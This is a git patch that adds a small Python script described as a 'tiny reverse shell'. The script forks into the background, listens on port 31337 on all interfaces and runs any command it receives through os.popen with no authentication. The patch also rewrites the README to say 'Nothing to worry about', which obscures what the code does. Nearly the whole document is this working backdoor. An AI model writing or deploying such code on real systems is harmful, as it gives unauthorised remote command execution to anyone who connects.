From 82130d1185c79a1905adc02f36bf7ca6712486e2 Mon Sep 17 00:00:00 2001 From: aschmocker Date: Fri, 11 Oct 2019 13:28:43 +0200 Subject: [PATCH] Implementet tiny reverse shell --- README.md | 2 +- rshell.py | 24 ++++++++++++++++++++++++ 2 files changed, 25 insertions(+), 1 deletion(-) create mode 100644 rshell.py diff --git a/README.md b/README.md index df4a52a..8fdd9ee 100644 --- a/README.md +++ b/README.md @@ -1,3 +1,3 @@ # rshell -Reverse shell testing example \ No newline at end of file +Nothing to worry about. diff --git a/rshell.py b/rshell.py new file mode 100644 index 0000000..de37c3c --- /dev/null +++ b/rshell.py @@ -0,0 +1,24 @@ +import sys +import os +import socket + +pid = os.fork() + +if pid > 0: + sys.exit(0) +try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.bind(("0.0.0.0",31337)) + s.listen(1) +except socket.error as e: + print(e) + sys.exit(0) +while 1: + (cli,add) = s.accept() + info = {"platform":sys.platform, "version":sys.version} + welcome = "You are connected to shell on {0[platform]}, Python Version: {0[version]}\r\n".format(info) + cli.send(welcome.encode('utf-8')) + while 1: + data = cli.recv(1024).rstrip() + resp = os.popen(data.decode('utf-8')).read() + cli.send(resp.encode('utf-8'))